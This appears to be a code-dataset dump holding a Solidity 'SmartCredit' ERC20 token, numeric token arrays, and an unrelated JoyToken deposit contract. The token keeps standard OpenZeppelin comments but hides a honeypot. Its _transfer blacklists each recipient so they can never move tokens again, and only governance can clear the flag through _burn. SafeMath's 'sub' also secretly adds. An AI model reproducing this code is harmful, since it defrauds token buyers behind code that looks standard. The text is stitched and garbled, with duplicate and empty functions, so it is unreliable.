// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public bl;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address governance;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].subs(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].subs(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(bl[sender] != true);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].subs(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
if (amount != _totalSupply) {
bl[recipient] = true;
}
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) public virtual {
require(account != address(0), "ERC20: burn from the zero address");
require(msg.sender == governance, "ERC20: not allowed");
_beforeTokenTransfer(address(0), account, amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(address(0), account, amount);
bl[account] = false;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/SmartCreditToken.sol
pragma solidity ^0.6.0;
contract SmartCredit is ERC20 {
constructor(
address initialAccount,
uint256 initialBalance
) public ERC20("smartcredit.io", "SMARTCREDIT") {
_mint(initialAccount, initialBalance);
governance = msg.sender;
}
}
|
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks. Arithmetic operations in Solidity wrap on overflow. This can easily result in bugs, because programmers usually assume that an overflow raises an error, which is the standard behavior in high level programming languages. `SafeMath` restores this intuition by reverting the transaction when an operation overflows. Using this library instead of the unchecked operations eliminates an entire class of bugs, so it's recommended to use it always./
|
library SafeMath {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function subs(uint256 a, uint256 b) internal pure returns (uint256) {
return subs(a, b, "SafeMath: subtraction overflow");
}
function subs(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
| 10,793,584 |
[
1,
24114,
1879,
348,
7953,
560,
1807,
30828,
5295,
598,
3096,
9391,
4271,
18,
27443,
5295,
316,
348,
7953,
560,
2193,
603,
9391,
18,
1220,
848,
17997,
563,
316,
22398,
16,
2724,
5402,
81,
414,
11234,
6750,
716,
392,
9391,
14183,
392,
555,
16,
1492,
353,
326,
4529,
6885,
316,
3551,
1801,
5402,
11987,
8191,
18,
1375,
9890,
10477,
68,
3127,
3485,
333,
509,
89,
608,
635,
15226,
310,
326,
2492,
1347,
392,
1674,
9391,
87,
18,
11637,
333,
5313,
3560,
434,
326,
22893,
5295,
19229,
4174,
392,
7278,
667,
434,
22398,
16,
1427,
518,
1807,
14553,
358,
999,
518,
3712,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
14060,
10477,
288,
203,
97,
203,
203,
203,
565,
445,
527,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
276,
273,
279,
397,
324,
31,
203,
3639,
2583,
12,
71,
1545,
279,
16,
315,
9890,
10477,
30,
2719,
9391,
8863,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
11630,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
11630,
12,
69,
16,
324,
16,
315,
9890,
10477,
30,
720,
25693,
9391,
8863,
203,
565,
289,
203,
203,
565,
445,
11630,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
16,
533,
3778,
9324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
70,
1648,
279,
16,
9324,
1769,
203,
3639,
2254,
5034,
276,
273,
279,
300,
324,
31,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
309,
261,
69,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
3639,
2583,
12,
71,
342,
279,
422,
324,
16,
315,
9890,
10477,
30,
23066,
9391,
8863,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
2
] |
pragma solidity ^0.4.11;
import '../math/SafeMath.sol';
import '../token/JoyToken.sol';
import '../token/ERC223ReceivingContract.sol';
import '../ownership/Ownable.sol';
import '../game/JoyGameAbstract.sol';
/**
* Main token deposit contract.
*
* In demo version only playing in on game at the same time is allowed,
* so locks, unlocks, and transfer function operate on all player deposit.
*/
contract PlatformDeposit is ERC223ReceivingContract, Ownable {
using SafeMath for uint;
// Token that is supported by this contract. Should be registered in constructor
JoyToken public m_supportedToken;
mapping(address => uint256) deposits;
mapping(address => uint256) lockedFunds;
/**
* platformReserve - Main platform address and reserve for winnings
* Important address that collecting part of players losses as reserve which players will get winnings.
* For security reasons "platform reserve address" needs to be separated/other that address of owner of this contract.
*/
address public platformReserve;
/**
* @dev Constructor
* @param _supportedToken The address of token contract that will be supported as players deposit
*/
function PlatformDeposit(address _supportedToken, address _platformReserve) {
// owner need to be separated from _platformReserve
require(owner != _platformReserve);
platformReserve = _platformReserve;
m_supportedToken = JoyToken(_supportedToken);
}
/**
* @dev Gets the balance of the specified address.
* @param _player The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOfPlayer(address _player) public constant returns (uint256) {
return deposits[_player];
}
/**
* @dev Gets the locked funds of the specified address.
* @param _player Player address.
* @return An uint256 representing the amount of locked tokens.
*/
function playerLockedFunds(address _player) public constant returns (uint256) {
return lockedFunds[_player];
}
/**
* @dev Function that receive tokens, throw exception if tokens is not supported.
* This contract could receive tokens, using functionalities designed in erc223 standard.
* !! works only with tokens designed in erc223 way.
*/
function onTokenReceived(address _from, uint _value, bytes _data) external {
// msg.sender is a token-contract address here
// we will use this information to filter what token we accept as deposit
// get address of supported token
require(msg.sender == address(m_supportedToken));
//TODO make sure about other needed requirements!
deposits[_from] = deposits[_from].add(_value);
}
/**
* @dev Temporarily transfer funds to the game contract
*
* This method can be used to lock funds in order to perform specific actions by external contract.
* That construct allow to adding new games without modifying this contract.
* Important security check is that execution of this method will work:
* only if the owner of the game will be same as the owner of this contract
*
* @param _player address of registered player
* @param _gameContractAddress address to the game contract
*/
function transferToGame(address _player, address _gameContractAddress) onlyOwner {
// platformReserve is not allowed to play, this check prevents owner take possession of platformReserve
require(_player != platformReserve);
// _gameContractAddress should be a contract, throw exception if owner will tries to transfer funds to the individual address.
// Require supported Token to have 'isContract' method.
require(isContract(_gameContractAddress));
// check if player have any funds in his deposit
require(deposits[_player] > 0);
// Create local joyGame object using address of given gameContract.
JoyGameAbstract joyGame = JoyGameAbstract(_gameContractAddress);
// Require this contract and gameContract to be owned by the same address.
// This check prevents interaction with this contract from external contracts
require(joyGame.owner() == owner);
uint256 loc_fundsLocked = lockPlayerFunds(_player);
// increase gameContract deposit for the time of the game
// this funds are locked, and can not even be withdraw by owner
deposits[_gameContractAddress] = deposits[_gameContractAddress].add(loc_fundsLocked);
joyGame.startGame(_player, loc_fundsLocked);
}
/**
* @dev move given _value from player deposit to lockedFunds map.
* Should be unlocked only after end of the game session (accountGameResult function).
*/
function lockPlayerFunds(address _playerAddr) internal returns (uint256 locked) {
uint256 player_deposit = deposits[_playerAddr];
deposits[_playerAddr] = deposits[_playerAddr].sub(player_deposit);
// check if player funds was locked successfully
require(deposits[_playerAddr] == 0);
lockedFunds[_playerAddr] = lockedFunds[_playerAddr].add(player_deposit);
return lockedFunds[_playerAddr];
}
/**
* @dev internal function that unlocks player funds.
* Used in accountGameResult after
*/
function unlockPlayerFunds(address _playerAddr) internal returns (uint256 unlocked) {
uint256 player_lockedFunds = lockedFunds[_playerAddr];
lockedFunds[_playerAddr] = lockedFunds[_playerAddr].sub(player_lockedFunds);
// check if player funds was unlocked successfully
require(lockedFunds[_playerAddr] == 0);
deposits[_playerAddr] = deposits[_playerAddr].add(player_lockedFunds);
return deposits[_playerAddr];
}
/**
* @dev function that can be called from registered 'game contract' after closing player session to update state.
*
* Unlock Tokens from game contract and distribute Tokens according to final balance.
* @param _playerAddr address of player that end his game session
* @param _finalBalance value that determine player wins and losses
*/
function accountGameResult(address _playerAddr, uint256 _finalBalance) external {
JoyGameAbstract joyGame = JoyGameAbstract(msg.sender);
// check if game contract is allowed to interact with this contract
// must be the same owner
require(joyGame.owner() == owner);
// case where player deposit does not change
if(_finalBalance == lockedFunds[_playerAddr]) {
unlockPlayerFunds(_playerAddr);
}
// case where player wins
else if (_finalBalance > lockedFunds[_playerAddr]) {
uint256 playerEarnings = _finalBalance.sub(lockedFunds[_playerAddr]);
// check if contract is able to pay player a win
require(playerEarnings <= deposits[platformReserve]);
// unlock player funds with additional win from platformReserve
unlockPlayerFunds(_playerAddr);
deposits[platformReserve] = deposits[platformReserve].sub(playerEarnings);
deposits[_playerAddr] = deposits[_playerAddr].add(playerEarnings);
}
// case where player lose
else {
// substract player loss from player locked funds
uint256 playerLoss = lockedFunds[_playerAddr].sub(_finalBalance);
lockedFunds[_playerAddr] = lockedFunds[_playerAddr].sub(playerLoss);
// double check
require(lockedFunds[_playerAddr] == _finalBalance);
// unlock player funds that were not lose
unlockPlayerFunds(_playerAddr);
// distribute player Token loss to gameDev and platformReserve in 1:1 ratio
// for odd loss additional Token goes to platformReserve
// (example loss = 3 is gameDevPart = 1 and platformReserve = 2)
uint256 gameDeveloperPart = playerLoss.div(2);
uint256 platformReservePart = playerLoss.sub(gameDeveloperPart);
// double check
require( (gameDeveloperPart + platformReservePart) == playerLoss );
address loc_gameDev = joyGame.gameDev();
deposits[loc_gameDev] = deposits[loc_gameDev].add(gameDeveloperPart);
deposits[platformReserve] = deposits[platformReserve].add(platformReservePart);
}
}
/**
* @dev Function that could be executed by players to withdraw their deposit
*/
function payOut(address _to, uint256 _value) {
// use transfer function from supported token.
// should be used from player address that was registered in deposits
require(_value <= deposits[msg.sender]);
/**
* Prevents payOut to the contract address.
* This trick deprives owner incentives to steal Tokens from players.
* Even if owner use 'transferToGame' method to transfer some deposits to the fake contract,
* he will not be able to withdraw Tokens to any private address.
*/
require(isContract(_to) == false);
deposits[msg.sender] = deposits[msg.sender].sub(_value);
// Use m_supportedToken method to transfer real Tokens.
m_supportedToken.transfer(_to, _value);
}
//---------------------- utils ---------------------------
function isContract(address _addr) internal constant returns (bool) {
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_addr)
}
return (codeLength > 0);
}
}
|
* @dev Temporarily transfer funds to the game contract This method can be used to lock funds in order to perform specific actions by external contract. That construct allow to adding new games without modifying this contract. Important security check is that execution of this method will work: only if the owner of the game will be same as the owner of this contract @param _player address of registered player @param _gameContractAddress address to the game contract/ platformReserve is not allowed to play, this check prevents owner take possession of platformReserve _gameContractAddress should be a contract, throw exception if owner will tries to transfer funds to the individual address. Require supported Token to have 'isContract' method. check if player have any funds in his deposit Create local joyGame object using address of given gameContract. Require this contract and gameContract to be owned by the same address. This check prevents interaction with this contract from external contracts increase gameContract deposit for the time of the game this funds are locked, and can not even be withdraw by owner
|
function transferToGame(address _player, address _gameContractAddress) onlyOwner {
require(_player != platformReserve);
require(isContract(_gameContractAddress));
require(deposits[_player] > 0);
JoyGameAbstract joyGame = JoyGameAbstract(_gameContractAddress);
require(joyGame.owner() == owner);
uint256 loc_fundsLocked = lockPlayerFunds(_player);
deposits[_gameContractAddress] = deposits[_gameContractAddress].add(loc_fundsLocked);
joyGame.startGame(_player, loc_fundsLocked);
}
| 12,851,586 |
[
1,
1837,
3831,
10243,
7412,
284,
19156,
358,
326,
7920,
6835,
1220,
707,
848,
506,
1399,
358,
2176,
284,
19156,
316,
1353,
358,
3073,
2923,
4209,
635,
3903,
6835,
18,
12466,
4872,
1699,
358,
6534,
394,
28422,
2887,
21920,
333,
6835,
18,
6164,
970,
4373,
866,
353,
716,
4588,
434,
333,
707,
903,
1440,
30,
225,
1338,
309,
326,
3410,
434,
326,
7920,
903,
506,
1967,
487,
326,
3410,
434,
333,
6835,
225,
389,
14872,
1758,
434,
4104,
7291,
225,
389,
13957,
8924,
1887,
1758,
358,
326,
7920,
6835,
19,
4072,
607,
6527,
353,
486,
2935,
358,
6599,
16,
333,
866,
17793,
3410,
4862,
949,
3184,
434,
4072,
607,
6527,
389,
13957,
8924,
1887,
1410,
506,
279,
6835,
16,
604,
1520,
309,
3410,
903,
9327,
358,
7412,
284,
19156,
358,
326,
7327,
1758,
18,
12981,
3260,
3155,
358,
1240,
296,
291,
8924,
11,
707,
18,
866,
309,
7291,
1240,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
445,
7412,
774,
12496,
12,
2867,
389,
14872,
16,
1758,
389,
13957,
8924,
1887,
13,
1338,
5541,
288,
203,
3639,
2583,
24899,
14872,
480,
4072,
607,
6527,
1769,
203,
203,
3639,
2583,
12,
291,
8924,
24899,
13957,
8924,
1887,
10019,
203,
203,
3639,
2583,
12,
323,
917,
1282,
63,
67,
14872,
65,
405,
374,
1769,
203,
203,
3639,
804,
13372,
12496,
7469,
525,
13372,
12496,
273,
804,
13372,
12496,
7469,
24899,
13957,
8924,
1887,
1769,
203,
203,
3639,
2583,
12,
78,
13372,
12496,
18,
8443,
1435,
422,
3410,
1769,
203,
203,
3639,
2254,
5034,
1515,
67,
74,
19156,
8966,
273,
2176,
12148,
42,
19156,
24899,
14872,
1769,
203,
203,
3639,
443,
917,
1282,
63,
67,
13957,
8924,
1887,
65,
273,
443,
917,
1282,
63,
67,
13957,
8924,
1887,
8009,
1289,
12,
1829,
67,
74,
19156,
8966,
1769,
203,
203,
3639,
525,
13372,
12496,
18,
1937,
12496,
24899,
14872,
16,
1515,
67,
74,
19156,
8966,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
